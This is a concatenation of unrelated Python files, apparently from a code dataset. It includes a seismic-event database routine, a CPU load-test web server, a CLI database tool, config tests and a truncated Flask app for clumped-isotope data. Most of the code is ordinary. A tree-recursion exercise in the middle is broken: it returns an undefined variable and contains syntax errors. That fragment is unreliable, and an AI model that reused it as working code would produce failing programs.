cur = conn.cursor()
try:
cur.execute("SELECT allow_multiple FROM solution_type WHERE type_id = %s", (solution_type,))
ans = cur.fetchone()
if ans is None:
raise Exception("{0} is not a valid solution_type! Either add the event type to the database or use another solution_type".format(solution_type))
allow_multiple = ans[0]
filename_id = -1
cur.execute("SELECT id FROM nordic_file WHERE file_location = %s", (nordic_filename,))
filenameids = cur.fetchone()
if filenameids is not None:
filename_id = filenameids[0]
root_id = -1
if nordic_event.root_id != -1:
root_id = nordic_event.root_id
if e_id >= 0:
cur.execute("SELECT root_id, solution_type FROM nordic_event WHERE id = %s", (e_id,))
try:
root_id, old_solution_type = cur.fetchone()
except:
raise Exception("Given linking even_id does not exist in the database!")
if e_id == -1 and nordic_event.root_id == -1:
cur.execute("INSERT INTO nordic_event_root DEFAULT VALUES RETURNING id;")
root_id = cur.fetchone()[0]
if filename_id == -1:
cur.execute("INSERT INTO nordic_file (file_location) VALUES (%s) RETURNING id", (nordic_filename,))
filename_id = cur.fetchone()[0]
cur.execute("INSERT INTO " +
"nordic_event " +
"(solution_type, root_id, nordic_file_id, author_id, creation_id) " +
"VALUES " +
"(%s, %s, %s, %s, %s) " +
"RETURNING " +
"id",
(solution_type,
root_id,
filename_id,
author_id,
creation_id)
)
event_id = cur.fetchone()[0]
nordic_event.event_id = event_id
if e_id != -1 and solution_type == old_solution_type and not allow_multiple:
cur.execute("UPDATE nordic_event SET solution_type = 'O' WHERE id = %s", (e_id,))
main_header_id = -1
for main in nordic_event.main_h:
main.event_id = event_id
main.h_id = executeCommand( cur,
INSERT_COMMANDS[1],
main.getAsList(),
True)[0][0]
if main.error_h is not None:
main.error_h.header_id = main.h_id
main.error_h.h_id = executeCommand( cur,
INSERT_COMMANDS[5],
main.error_h.getAsList(),
True)[0][0]
for macro in nordic_event.macro_h:
macro.event_id = event_id
macro.h_id = executeCommand(cur,
INSERT_COMMANDS[2],
macro.getAsList(),
True)[0][0]
for comment in nordic_event.comment_h:
comment.event_id = event_id
comment.h_id = executeCommand( cur,
INSERT_COMMANDS[3],
comment.getAsList(),
True)[0][0]
for waveform in nordic_event.waveform_h:
waveform.event_id = event_id
waveform.h_id = executeCommand( cur,
INSERT_COMMANDS[6],
waveform.getAsList(),
True)[0][0]
for phase_data in nordic_event.data:
phase_data.event_id = event_id
d_id = executeCommand( cur,
INSERT_COMMANDS[7],
phase_data.getAsList(),
True)[0][0]
phase_data.d_id = d_id
conn.commit()
except Exception as e:
raise e
finally:
if f_creation_id is None:
creationInfo.deleteCreationInfoIfUnnecessary(creation_id, db_conn=conn)
if db_conn is None:
conn.close()
def executeCommand(cur, command, vals, returnValue):
"""
Function for for executing a command with values and handling exceptions
:param Psycopg.Cursor cur: cursor object from psycopg2 library
:param str command: the sql command string
:param list vals: list of values for the command
:param bool returnValue: boolean values for if the command returns a value
:returns: Values returned by the query or None if returnValue is False
"""
cur.execute(command, vals)
if returnValue:
return cur.fetchall()
else:
return None
| 10,768 | 3,033 |
"""This module contains class definitions for storing media files"""
import webbrowser
class Movie():
"""Movie class defines movies.
Attributes:
movie_title (str): Title of the movie
movie_storyline (str): Sort description of the movie
poster_image (str): Url of the poster image
trailer_youtube (str): URL of the Youtube trailer
"""
def __init__(self, movie_title, movie_storyline, poster_image, trailer_youtube):
# type: (object, object, object, object) -> object
"""
Arguments:
movie_title (str): Title of the movie
movie_storyline (str): Sort description of the movie
poster_image (str): Url of the poster image
trailer_youtube (str): URL of the Youtube trailer
"""
self.title = movie_title
self.storyline = movie_storyline
self.poster_image_url = poster_image
self.trailer_youtube_url = trailer_youtube
| 973 | 259 |
# workserver.py - simple HTTP server with a do_work / stop_work API
# GET /do_work activates a worker thread which uses CPU
# GET /stop_work signals worker thread to stop
import math
import socket
import threading
import time
from bottle import route, run
hostname = socket.gethostname()
hostport = 9000
keepworking = False # boolean to switch worker thread on or off
# thread which maximizes CPU usage while the keepWorking global is True
def workerthread():
# outer loop to run while waiting
while (True):
# main loop to thrash the CPI
while (keepworking == True):
for x in range(1, 69):
math.factorial(x)
time.sleep(3)
# start the worker thread
worker_thread = threading.Thread(target=workerthread, args=())
worker_thread.start()
def writebody():
body = '<html><head><title>Work interface - build</title></head>'
body += '<body><h2>Worker interface on ' + hostname + '</h2><ul><h3>'
if keepworking == False:
body += '<br/>Worker thread is not running. <a href="./do_work">Start work</a><br/>'
else:
body += '<br/>Worker thread is running. <a href="./stop_work">Stop work</a><br/>'
body += '<br/>Usage:<br/><br/>/do_work = start worker thread<br/>/stop_work = stop worker thread<br/>'
body += '</h3></ul></body></html>'
return body
@route('/')
def root():
return writebody()
@route('/do_work')
def do_work():
global keepworking
# start worker thread
keepworking = True
return writebody()
@route('/stop_work')
def stop_work():
global keepworking
# stop worker thread
keepworking = False
return writebody()
run(host=hostname, port=hostport)
| 1,700 | 520 |
from maxdb import DB
def runtime_on_any_exception(func):
def decorate(*args, **kwargs):
try:
func(*args, **kwargs)
except:
raise RuntimeError
return decorate
class CLIUtils(object):
DEFAULT_PATH = 'storage.json'
def __init__(self):
self._db = None
self._path = self.DEFAULT_PATH
def run(self, rawcmd):
cmd, *args = rawcmd.split(' ')
if cmd:
try:
self._cmds_cache[cmd](args)
except KeyError:
print('Lab1 does not have command <{0}>'.format(cmd))
except RuntimeError:
print('Incorrect arguments for DB.{0}: <{1}>'.format(cmd, args))
@property
def _cmds_cache(self):
return {
'tables': self._tables,
'all': self._all,
'insert': self._insert,
'get': self._get,
'update': self._update,
'delete': self._delete,
'help': lambda _: print(self._help_msg),
'path': lambda _: print(self._path),
'exit': self._close,
}
@property
def _help_msg(self):
return """LAB1 HELP:
| tables
| print list of tables from current storage.
| all <table> (<table> ...)
| display _all values from specific table.
| all labcondition
| display _all products with price more than 100UAH.
| insert <table> <cnt>
| insert N items to the table.
| is followed by >>>column_name <value>
| get <table> <id>
| get single row specified by id from table.
| update <table> <id>
| udpate table with a new single value.
| is followed by
| >>>with <column> <value> (<column> <value> (...))
| delete <table> <id>
| delete row specified by id from table.
| save <filepath>
| save database using current storage type to specified filepath.
| load <filepath>
| load specific database from file using current storage type.
| help
| display current message.
| path
| display storage file path.
| exit
| exit the program.
"""
def _tables(self, _):
print(self._db.tables())
@runtime_on_any_exception
def _all(self, args):
if 'labcondition' == args[0]:
found_rows = self._db.get(
'Products',
column='price',
cond=lambda p: int(p.value) > 100
)
print('Rows from DB.Products with price>100:')
print('\n'.join(map(str, found_rows)))
else:
for table_name in args:
table_rows = self._db.table(table_name).all_ids()
table_pretty_rows = '\n'.join(map(lambda i: 'ID {0} {1}'.format(*i), table_rows))
print('DB.{0}:\n{1}'.format(table_name, table_pretty_rows))
@runtime_on_any_exception
def _insert(self, args):
table_name, cnt = args
table_to_insert = self._db.table(table_name)
for cur_cnt in range(int(cnt)):
print('Please, enter values for DB.{0} row:'.format(table_name))
row_to_insert = {}
for column_name, column_type in table_to_insert.columns.items():
if column_type == 'fk':
print('Enter Table for FK: fktable=', end='')
fktable = input()
print('Enter Id for FK: fkid=', end='')
fkid = input()
row_to_insert[column_name] = (
{'table': fktable, 'fkid': fkid},
column_type
)
else:
print('Enter {0}, type={1}: {0}='.format(column_name, column_type), end='')
column_value = input()
row_to_insert[column_name] = (column_value, column_type)
table_to_insert.insert(row_to_insert)
@runtime_on_any_exception
def _get(self, args):
table_name, row_idx = args
print('DB.{0} id={1}:'.format(*args))
print(self._db.get(table_name, doc_id=int(row_idx)) or 'Not Found DB.{0}.{1}'.format(*args))
@runtime_on_any_exception
def _update(self, args):
table_name, row_idx = args
table_to_update = self._db.table(table_name)
row_to_update = table_to_update.get(row_id=int(row_idx))
colval_to_update = {}
print('Updating DB.{0}.{1}: {2}'.format(table_name, row_idx, row_to_update))
for column_name, column_type in table_to_update.columns.items():
if column_type == 'fk':
current_fktable = row_to_update[column_name].table
print('Change FKTable from <{0}> to value='.format(current_fktable), end='')
after_fktable = input()
current_fkid = row_to_update[column_name].fk_id
print('Change FKId from <{0}> to value='.format(current_fkid), end='')
after_fkid = input()
colval_to_update[column_name] = {
'table': after_fktable,
'fkid': after_fkid
}
else:
print('Enter value for column {0}, type={1}: {0}='.format(column_name, column_type), end='')
column_value = input()
colval_to_update[column_name] = column_value
table_to_update.update(colval_to_update, [int(row_idx)])
@runtime_on_any_exception
def _delete(self, args):
table_name, row_id = args
print('Deleted item DB.{0}.{1}'.format(*args))
print(self._db.delete(table_name, row_ids=[int(row_id)]) or 'Not Found DB.{0}.{1}'.format(*args))
def _open(self):
"""Create DB instance and preload default models."""
self._db = DB(self._path)
products = self._db.table(
'Products',
columns={'name': 'str', 'price': 'int'}
)
orders = self._db.table(
'Orders',
columns={'product': 'fk', 'client': 'str', 'destination': 'addr'}
)
try:
products.insert_multiple([
{"name": ("product1", "str"), "price": ("50", "int")},
{"name": ("product2", "str"), "price": ("100", "int")},
{"name": ("product3", "str"), "price": ("200", "int")},
])
except:
pass
try:
orders.insert_multiple([
{
"product": ({'table': 'Products', 'fkid': '1'}, 'fk'),
"client": ("honchar", "str"), "destination": ("Kyiv", "addr")
},
{
"product": ({'table': 'Products', 'fkid': '2'}, 'fk'),
"client": ("honchar2", "str"), "destination": ("Kyiv2", "addr")
},
{
"product": ({'table': 'Products', 'fkid': '3'}, 'fk'),
"client": ("honchar3", "str"), "destination": ("Kyiv3", "addr")
},
])
except:
pass
self.run('help', *())
def _close(self, _):
"""Close DB instance routine."""
self._db.close()
def __enter__(self):
self._open()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._close(None)
| 7,521 | 2,237 |
import easygui as g
# judge=1
# def judge_null(tmp):
# if tmp.isspace()or len(tmp)==0:
# return judge==0
#
# while 1:
# user_info=g.multenterbox(title='账号中心',
# msg='【*用户名】为必填项\t【*真实姓名】为必填项\t【*手机号码】为必填项\t【*E-mail】为必填项',
# fields=['*用户名','*真实姓名','固定电话','*手机号码','QQ','*E-mail']
# )
#
# if judge_null(user_info[0])==0:
# g.msgbox(title='提示信息',msg='你输入的用户名为空')
# elif judge_null(user_info[1])==0:
# g.msgbox(title='提示信息',msg='你输入的真实姓名为空')
# elif judge_null(user_info[3])==0:
# g.msgbox(title='提示信息',msg='你输入的手机号码为空')
# elif judge_null(user_info[5])==0:
# g.msgbox(title='提示信息',msg='你输入的E-mail为空')
# else:
# g.msgbox(title='提示信息',msg='恭喜你注册成功')
# break
#参考2
title='用户信息填写'
msg='请真实填写用户信息'
field_list=['*用户名','*真实姓名','固定电话','*手机号码','QQ','*E-mail']
field_value=[]
field_value = g.multenterbox(msg,title,field_list)
while 1:
if field_value==None:
break
err_msg=''
for i in range(len(field_list)):
option=field_list[i].strip()
if field_value[i].strip()==''and option[0]=='*':
err_msg+='【%s】为必填项\n\n'%(field_list[i])
if err_msg=='':
break
field_value = g.multenterbox(err_msg, title, field_list,field_value)
print('用户的资料如下：'+str(field_value)) | 1,348 | 667 |
from cognibench.models import CNBModel
from cognibench.capabilities import ContinuousAction, ContinuousObservation
from cognibench.continuous import ContinuousSpace
from cognibench.models.wrappers import MatlabWrapperMixin
class PsPMModel(MatlabWrapperMixin, CNBModel, ContinuousAction, ContinuousObservation):
name = "PsPM model"
def __init__(
self, *args, lib_paths, import_base_path, predict_fn, model_spec, **kwargs
):
self.set_action_space(ContinuousSpace())
self.set_observation_space(ContinuousSpace())
def pred(matlab_sess, stimuli):
stimuli_copy = dict(stimuli)
stimuli_copy.update(model_spec)
return matlab_sess.feval(predict_fn, stimuli_copy)
MatlabWrapperMixin.__init__(
self,
lib_paths=lib_paths,
import_base_path=import_base_path,
predict_fn=pred,
)
CNBModel.__init__(self, *args, **kwargs)
| 962 | 301 |
from layout import Layout
class PixelList(Layout):
"""
A simple generic layout, just a list of pixels
"""
def __init__(self, pixels):
"""
pixels is a list of pixel objects
"""
self.pixels = pixels
| 254 | 67 |
import unittest
from programy.config.file.yaml_file import YamlConfigurationFile
from programy.clients.restful.config import RestConfiguration
from programy.clients.events.console.config import ConsoleConfiguration
class RestConfigurationTests(unittest.TestCase):
def test_init(self):
yaml = YamlConfigurationFile()
self.assertIsNotNone(yaml)
yaml.load_from_text("""
rest:
host: 127.0.0.1
port: 5000
debug: false
workers: 4
use_api_keys: false
api_key_file: apikeys.txt
""", ConsoleConfiguration(), ".")
rest_config = RestConfiguration("rest")
rest_config.load_configuration(yaml, ".")
self.assertEqual("127.0.0.1", rest_config.host)
self.assertEqual(5000, rest_config.port)
self.assertEqual(False, rest_config.debug)
self.assertEqual(False, rest_config.use_api_keys)
self.assertEqual("apikeys.txt", rest_config.api_key_file)
def test_init_no_values(self):
yaml = YamlConfigurationFile()
self.assertIsNotNone(yaml)
yaml.load_from_text("""
rest:
""", ConsoleConfiguration(), ".")
rest_config = RestConfiguration("rest")
rest_config.load_configuration(yaml, ".")
self.assertEqual("0.0.0.0", rest_config.host)
self.assertEqual(80, rest_config.port)
self.assertEqual(False, rest_config.debug)
self.assertEqual(False, rest_config.use_api_keys)
def test_to_yaml_with_defaults(self):
config = RestConfiguration("rest")
data = {}
config.to_yaml(data, True)
self.assertEquals(data['host'], "0.0.0.0")
self.assertEquals(data['port'], 80)
self.assertEquals(data['debug'], False)
self.assertEquals(data['use_api_keys'], False)
self.assertEquals(data['api_key_file'], './api.keys')
self.assertEquals(data['ssl_cert_file'], './rsa.cert')
self.assertEquals(data['ssl_key_file'], './rsa.keys')
self.assertEquals(data['bot'], 'bot')
self.assertEquals(data['license_keys'], "./config/license.keys")
self.assertEquals(data['bot_selector'], "programy.clients.client.DefaultBotSelector")
self.assertEquals(data['renderer'], "programy.clients.render.text.TextRenderer")
| 2,328 | 723 |
# Write a recursive function to count the number of nodes in a Tree. (first do your self then see code)
def count_nodes(self):
count = 1
left_count = 0
right_count = 0
if self.left:
left_count = self.left.count_nodes()
if self.right:
right_count = self.right.count_nodes()
return count + left_count + right_count
Q # 2:
'''The height of a tree is the maximum number of levels in the tree. So, a tree with just one node has a height of 1. If the root has children which are leaves, the height of the tree is 2.
The height of a TreeNode can be computed recursively using a simple algorithm: The height Of a TreeNode With no children is 1. If it has children the height is: max of height of its two sub-trees + 1.
Write a clean, recursive function for the TreeNode class that calculates the height based on the above statement(first do your self then see code) '''
def get_height(self):
height = 1
left_height = 0
right_height = 0
if self.left:
left_height = self.left.get_height()
if self.right:
right_height = self.right.get_height()
return count + max(left_height, right_height)
print(self.val)
if self.left.val > self.val or self.right.val < self.val
return False
| 1,211 | 396 |
#! /usr/bin/env python3
# from datetime import datetime
# from random import choices
# from string import ascii_lowercase
from flask import Flask, request, render_template, Response, send_file
from flaskext.markdown import Markdown
from D47crunch import D47data, pretty_table, make_csv, smart_type
from D47crunch import __version__ as vD47crunch
import zipfile, io, time
from pylab import *
from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas
import base64
from werkzeug.wsgi import FileWrapper
from matplotlib import rcParams
# rcParams['backend'] = 'Agg'
# rcParams['interactive'] = False
rcParams['font.family'] = 'Helvetica'
rcParams['font.sans-serif'] = 'Helvetica'
rcParams['font.size'] = 10
rcParams['mathtext.fontset'] = 'custom'
rcParams['mathtext.rm'] = 'sans'
rcParams['mathtext.bf'] = 'sans:bold'
rcParams['mathtext.it'] = 'sans:italic'
rcParams['mathtext.cal'] = 'sans:italic'
rcParams['mathtext.default'] = 'rm'
rcParams['xtick.major.size'] = 4
rcParams['xtick.major.width'] = 1
rcParams['ytick.major.size'] = 4
rcParams['ytick.major.width'] = 1
rcParams['axes.grid'] = False
rcParams['axes.linewidth'] = 1
rcParams['grid.linewidth'] = .75
rcParams['grid.linestyle'] = '-'
rcParams['grid.alpha'] = .15
rcParams['savefig.dpi'] = 150
__author__ = 'Mathieu Daëron'
__contact__ = 'daeron@lsce.ipsl.fr'
__copyright__ = 'Copyright (c) 2020 Mathieu Daëron'
__license__ = 'Modified BSD License - https://opensource.org/licenses/BSD-3-Clause'
__date__ = '2020-04-22'
__version__ = '2.1.dev2'
rawdata_input_str = '''UID\tSession\tSample\td45\td46\td47\tNominal_d13C_VPDB\tNominal_d18O_VPDB
A01\tSession01\tETH-1\t5.795017\t11.627668\t16.893512\t2.02\t-2.19
A02\tSession01\tIAEA-C1\t6.219070\t11.491072\t17.277490
A03\tSession01\tETH-2\t-6.058681\t-4.817179\t-11.635064\t-10.17\t-18.69
A04\tSession01\tIAEA-C2\t-3.861839\t4.941839\t0.606117
A05\tSession01\tETH-3\t5.543654\t12.052277\t17.405548\t1.71\t-1.78
A06\tSession01\tMERCK\t-35.929352\t-2.087501\t-39.548484
A07\tSession01\tETH-4\t-6.222218\t-5.194170\t-11.944111
A08\tSession01\tETH-2\t-6.067055\t-4.877104\t-11.699265\t-10.17\t-18.69
A09\tSession01\tMERCK\t-35.930739\t-2.080798\t-39.545632
A10\tSession01\tETH-1\t5.788207\t11.559104\t16.801908\t2.02\t-2.19
A11\tSession01\tETH-4\t-6.217508\t-5.221407\t-11.987503
A12\tSession01\tIAEA-C2\t-3.876921\t4.868892\t0.521845
A13\tSession01\tETH-3\t5.539840\t12.013444\t17.368631\t1.71\t-1.78
A14\tSession01\tIAEA-C1\t6.219046\t11.447846\t17.234280
A15\tSession01\tMERCK\t-35.932060\t-2.088659\t-39.531627
A16\tSession01\tETH-3\t5.516658\t11.978320\t17.295740\t1.71\t-1.78
A17\tSession01\tETH-4\t-6.223370\t-5.253980\t-12.025298
A18\tSession01\tETH-2\t-6.069734\t-4.868368\t-11.688559\t-10.17\t-18.69
A19\tSession01\tIAEA-C1\t6.213642\t11.465109\t17.244547
A20\tSession01\tETH-1\t5.789982\t11.535603\t16.789811\t2.02\t-2.19
A21\tSession01\tETH-4\t-6.205703\t-5.144529\t-11.909160
A22\tSession01\tIAEA-C1\t6.212646\t11.406548\t17.187214
A23\tSession01\tETH-3\t5.531413\t11.976697\t17.332700\t1.71\t-1.78
A24\tSession01\tMERCK\t-35.926347\t-2.124579\t-39.582201
A25\tSession01\tETH-1\t5.786979\t11.527864\t16.775547\t2.02\t-2.19
A26\tSession01\tIAEA-C2\t-3.866505\t4.874630\t0.525332
A27\tSession01\tETH-2\t-6.076302\t-4.922424\t-11.753283\t-10.17\t-18.69
A28\tSession01\tIAEA-C2\t-3.878438\t4.818588\t0.467595
A29\tSession01\tETH-3\t5.546458\t12.133931\t17.501646\t1.71\t-1.78
A30\tSession01\tETH-1\t5.802916\t11.642685\t16.904286\t2.02\t-2.19
A31\tSession01\tETH-2\t-6.069274\t-4.847919\t-11.677722\t-10.17\t-18.69
A32\tSession01\tETH-3\t5.523018\t12.007363\t17.362080\t1.71\t-1.78
A33\tSession01\tETH-1\t5.802333\t11.616032\t16.884255\t2.02\t-2.19
A34\tSession01\tETH-3\t5.537375\t12.000263\t17.350856\t1.71\t-1.78
A35\tSession01\tETH-2\t-6.060713\t-4.893088\t-11.728465\t-10.17\t-18.69
A36\tSession01\tETH-3\t5.532342\t11.990022\t17.342273\t1.71\t-1.78
A37\tSession01\tETH-3\t5.533622\t11.980853\t17.342245\t1.71\t-1.78
A38\tSession01\tIAEA-C2\t-3.867587\t4.893554\t0.540404
A39\tSession01\tIAEA-C1\t6.201760\t11.406628\t17.189625
A40\tSession01\tETH-1\t5.802150\t11.563414\t16.836189\t2.02\t-2.19
A41\tSession01\tETH-2\t-6.068598\t-4.897545\t-11.722343\t-10.17\t-18.69
A42\tSession01\tMERCK\t-35.928359\t-2.098440\t-39.577150
A43\tSession01\tETH-4\t-6.219175\t-5.168031\t-11.936923
A44\tSession01\tIAEA-C2\t-3.871671\t4.871517\t0.518290
B01\tSession02\tETH-1\t5.800180\t11.640916\t16.939044\t2.02\t-2.19
B02\tSession02\tETH-1\t5.799584\t11.631297\t16.917656\t2.02\t-2.19
B03\tSession02\tIAEA-C1\t6.225135\t11.512637\t17.335876
B04\tSession02\tETH-2\t-6.030415\t-4.746444\t-11.525506\t-10.17\t-18.69
B05\tSession02\tIAEA-C2\t-3.837017\t4.992780\t0.675292
B06\tSession02\tETH-3\t5.536997\t12.048918\t17.420228\t1.71\t-1.78
B07\tSession02\tMERCK\t-35.928379\t-2.105615\t-39.594573
B08\tSession02\tETH-4\t-6.218801\t-5.185168\t-11.964407
B09\tSession02\tETH-2\t-6.068197\t-4.840037\t-11.686296\t-10.17\t-18.69
B10\tSession02\tMERCK\t-35.926951\t-2.071047\t-39.546767
B11\tSession02\tETH-1\t5.782634\t11.571818\t16.835185\t2.02\t-2.19
B12\tSession02\tETH-2\t-6.070168\t-4.877700\t-11.703876\t-10.17\t-18.69
B13\tSession02\tETH-4\t-6.214873\t-5.190550\t-11.967040
B14\tSession02\tIAEA-C2\t-3.853550\t4.919425\t0.584634
B15\tSession02\tETH-3\t5.522265\t12.011737\t17.368407\t1.71\t-1.78
B16\tSession02\tIAEA-C1\t6.219374\t11.447014\t17.264258
B17\tSession02\tMERCK\t-35.927733\t-2.103033\t-39.603494
B18\tSession02\tETH-3\t5.527002\t11.984062\t17.332660\t1.71\t-1.78
B19\tSession02\tIAEA-C2\t-3.850358\t4.889230\t0.562794
B20\tSession02\tETH-4\t-6.222398\t-5.263817\t-12.033650
B21\tSession02\tETH-3\t5.525478\t11.970096\t17.340498\t1.71\t-1.78
B22\tSession02\tETH-2\t-6.070129\t-4.941487\t-11.773824\t-10.17\t-18.69
B23\tSession02\tIAEA-C1\t6.217001\t11.434152\t17.232308
B24\tSession02\tETH-1\t5.793421\t11.533191\t16.810838\t2.02\t-2.19
B25\tSession02\tETH-4\t-6.217740\t-5.198048\t-11.977179
B26\tSession02\tIAEA-C1\t6.216912\t11.425200\t17.234224
B27\tSession02\tETH-3\t5.522238\t11.932174\t17.286903\t1.71\t-1.78
B28\tSession02\tMERCK\t-35.914404\t-2.133955\t-39.614612
B29\tSession02\tETH-1\t5.784156\t11.517244\t16.786548\t2.02\t-2.19
B30\tSession02\tIAEA-C2\t-3.852750\t4.884339\t0.551587
B31\tSession02\tETH-2\t-6.068631\t-4.924103\t-11.764507\t-10.17\t-18.69
B32\tSession02\tETH-4\t-6.220238\t-5.231375\t-12.009300
B33\tSession02\tIAEA-C2\t-3.855245\t4.866571\t0.534914
B34\tSession02\tETH-1\t5.788790\t11.544306\t16.809117\t2.02\t-2.19
B35\tSession02\tMERCK\t-35.935017\t-2.173682\t-39.664046
B36\tSession02\tETH-3\t5.518320\t11.955048\t17.300668\t1.71\t-1.78
B37\tSession02\tETH-1\t5.790564\t11.521174\t16.781304\t2.02\t-2.19
B38\tSession02\tETH-4\t-6.218809\t-5.205256\t-11.979998
B39\tSession02\tIAEA-C1\t6.204774\t11.391335\t17.181310
B40\tSession02\tETH-2\t-6.076424\t-4.967973\t-11.815466\t-10.17\t-18.69
C01\tSession03\tETH-3\t5.541868\t12.129615\t17.503738\t1.71\t-1.78
C02\tSession03\tETH-3\t5.534395\t12.034601\t17.391274\t1.71\t-1.78
C03\tSession03\tETH-1\t5.797568\t11.563575\t16.857871\t2.02\t-2.19
C04\tSession03\tETH-3\t5.529415\t11.969512\t17.342673\t1.71\t-1.78
C05\tSession03\tETH-1\t5.794026\t11.526540\t16.806934\t2.02\t-2.19
C06\tSession03\tETH-3\t5.527210\t11.937462\t17.294015\t1.71\t-1.78
C07\tSession03\tIAEA-C1\t6.220521\t11.430197\t17.242458
C08\tSession03\tETH-2\t-6.064061\t-4.900852\t-11.732976\t-10.17\t-18.69
C09\tSession03\tIAEA-C2\t-3.846482\t4.889242\t0.558395
C10\tSession03\tETH-1\t5.789644\t11.520663\t16.795837\t2.02\t-2.19
C11\tSession03\tETH-4\t-6.219385\t-5.258604\t-12.036476
C12\tSession03\tMERCK\t-35.936631\t-2.161769\t-39.693775
C13\tSession03\tETH-2\t-6.076357\t-4.939912\t-11.803553\t-10.17\t-18.69
C14\tSession03\tIAEA-C2\t-3.862518\t4.850015\t0.499777
C15\tSession03\tETH-3\t5.515822\t11.928316\t17.287739\t1.71\t-1.78
C16\tSession03\tETH-4\t-6.216625\t-5.252914\t-12.033781
C17\tSession03\tETH-1\t5.792540\t11.537788\t16.801906\t2.02\t-2.19
C18\tSession03\tIAEA-C1\t6.218853\t11.447394\t17.270859
C19\tSession03\tETH-2\t-6.070107\t-4.944520\t-11.806885\t-10.17\t-18.69
C20\tSession03\tMERCK\t-35.935001\t-2.155577\t-39.675070
C21\tSession03\tETH-3\t5.542309\t12.082338\t17.471951\t1.71\t-1.78
C22\tSession03\tETH-4\t-6.209017\t-5.137393\t-11.920935
C23\tSession03\tETH-1\t5.796781\t11.621197\t16.905496\t2.02\t-2.19
C24\tSession03\tMERCK\t-35.926449\t-2.053921\t-39.576918
C25\tSession03\tETH-2\t-6.057158\t-4.797641\t-11.644824\t-10.17\t-18.69
C26\tSession03\tIAEA-C1\t6.221982\t11.501725\t17.321709
C27\tSession03\tETH-3\t5.535162\t12.023486\t17.396560\t1.71\t-1.78
C28\tSession03\tIAEA-C2\t-3.836934\t4.984196\t0.665651
C29\tSession03\tETH-3\t5.531331\t11.991300\t17.353622\t1.71\t-1.78
C30\tSession03\tIAEA-C2\t-3.844008\t4.926554\t0.601156
C31\tSession03\tETH-2\t-6.063163\t-4.907454\t-11.765065\t-10.17\t-18.69
C32\tSession03\tMERCK\t-35.941566\t-2.163022\t-39.704731
C33\tSession03\tETH-3\t5.523894\t11.992718\t17.363902\t1.71\t-1.78
C34\tSession03\tIAEA-C1\t6.220801\t11.462090\t17.282153
C35\tSession03\tETH-1\t5.794369\t11.563017\t16.845673\t2.02\t-2.19
C36\tSession03\tETH-4\t-6.221257\t-5.272969\t-12.055444
C37\tSession03\tETH-3\t5.517832\t11.957180\t17.312487\t1.71\t-1.78
C38\tSession03\tETH-2\t-6.053330\t-4.909476\t-11.740852\t-10.17\t-18.69
C39\tSession03\tIAEA-C1\t6.217139\t11.440085\t17.244787
C40\tSession03\tETH-1\t5.794091\t11.541948\t16.826158\t2.02\t-2.19
C41\tSession03\tIAEA-C2\t-3.803466\t4.894953\t0.624184
C42\tSession03\tETH-3\t5.513788\t11.933062\t17.286883\t1.71\t-1.78
C43\tSession03\tETH-1\t5.793334\t11.569668\t16.844535\t2.02\t-2.19
C44\tSession03\tETH-2\t-6.064928\t-4.935031\t-11.786336\t-10.17\t-18.69
C45\tSession03\tETH-4\t-6.216796\t-5.300373\t-12.075033
C46\tSession03\tETH-3\t5.521772\t11.933713\t17.283775\t1.71\t-1.78
C47\tSession03\tMERCK\t-35.937762\t-2.181553\t-39.739636
D01\tSession04\tETH-4\t-6.218867\t-5.242334\t-12.032129
D02\tSession04\tIAEA-C1\t6.218458\t11.435622\t17.238776
D03\tSession04\tETH-3\t5.522006\t11.946540\t17.300601\t1.71\t-1.78
D04\tSession04\tMERCK\t-35.931765\t-2.175265\t-39.716152
D05\tSession04\tETH-1\t5.786884\t11.560397\t16.823187\t2.02\t-2.19
D06\tSession04\tIAEA-C2\t-3.846071\t4.861980\t0.534465
D07\tSession04\tETH-2\t-6.072653\t-4.917987\t-11.786215\t-10.17\t-18.69
D08\tSession04\tETH-3\t5.516592\t11.923729\t17.275641\t1.71\t-1.78
D09\tSession04\tETH-1\t5.789889\t11.531354\t16.804221\t2.02\t-2.19
D10\tSession04\tIAEA-C2\t-3.845074\t4.865635\t0.546284
D11\tSession04\tETH-1\t5.795006\t11.507829\t16.772751\t2.02\t-2.19
D12\tSession04\tETH-1\t5.791371\t11.540606\t16.822704\t2.02\t-2.19
D13\tSession04\tETH-2\t-6.074029\t-4.937379\t-11.786614\t-10.17\t-18.69
D14\tSession04\tETH-4\t-6.216977\t-5.273352\t-12.057294
D15\tSession04\tIAEA-C1\t6.214304\t11.412869\t17.227005
D16\tSession04\tETH-2\t-6.071021\t-4.966406\t-11.812116\t-10.17\t-18.69
D17\tSession04\tETH-3\t5.543181\t12.065648\t17.455042\t1.71\t-1.78
D18\tSession04\tETH-1\t5.805793\t11.632212\t16.937561\t2.02\t-2.19
D19\tSession04\tIAEA-C1\t6.230425\t11.518038\t17.342943
D20\tSession04\tETH-2\t-6.049292\t-4.811109\t-11.639895\t-10.17\t-18.69
D21\tSession04\tIAEA-C2\t-3.829436\t4.967992\t0.665451
D22\tSession04\tETH-3\t5.538827\t12.064780\t17.438156\t1.71\t-1.78
D23\tSession04\tMERCK\t-35.935604\t-2.092229\t-39.632228
D24\tSession04\tETH-4\t-6.215430\t-5.166894\t-11.939419
D25\tSession04\tETH-2\t-6.068214\t-4.868420\t-11.716099\t-10.17\t-18.69
D26\tSession04\tMERCK\t-35.918898\t-2.041585\t-39.566777
D27\tSession04\tETH-1\t5.786924\t11.584138\t16.861248\t2.02\t-2.19
D28\tSession04\tETH-2\t-6.062115\t-4.820423\t-11.664703\t-10.17\t-18.69
D29\tSession04\tETH-4\t-6.210819\t-5.160997\t-11.943417
D30\tSession04\tIAEA-C2\t-3.842542\t4.937635\t0.603831
D31\tSession04\tETH-3\t5.527648\t11.985083\t17.353603\t1.71\t-1.78
D32\tSession04\tIAEA-C1\t6.221429\t11.481788\t17.284825
D33\tSession04\tMERCK\t-35.922066\t-2.113682\t-39.642962
D34\tSession04\tETH-3\t5.521955\t11.989323\t17.345179\t1.71\t-1.78
D35\tSession04\tIAEA-C2\t-3.838229\t4.937180\t0.617586
D36\tSession04\tETH-4\t-6.215638\t-5.221584\t-11.999819
D37\tSession04\tETH-2\t-6.067508\t-4.893477\t-11.754488\t-10.17\t-18.69
D38\tSession04\tIAEA-C1\t6.214580\t11.440629\t17.254051'''
app = Flask(__name__)
Markdown(app, extensions = [
'markdown.extensions.tables',
# 'pymdownx.magiclink',
# 'pymdownx.betterem',
'pymdownx.highlight',
'pymdownx.tilde',
'pymdownx.caret',
# 'pymdownx.emoji',
# 'pymdownx.tasklist',
'pymdownx.superfences'
])
default_payload = {
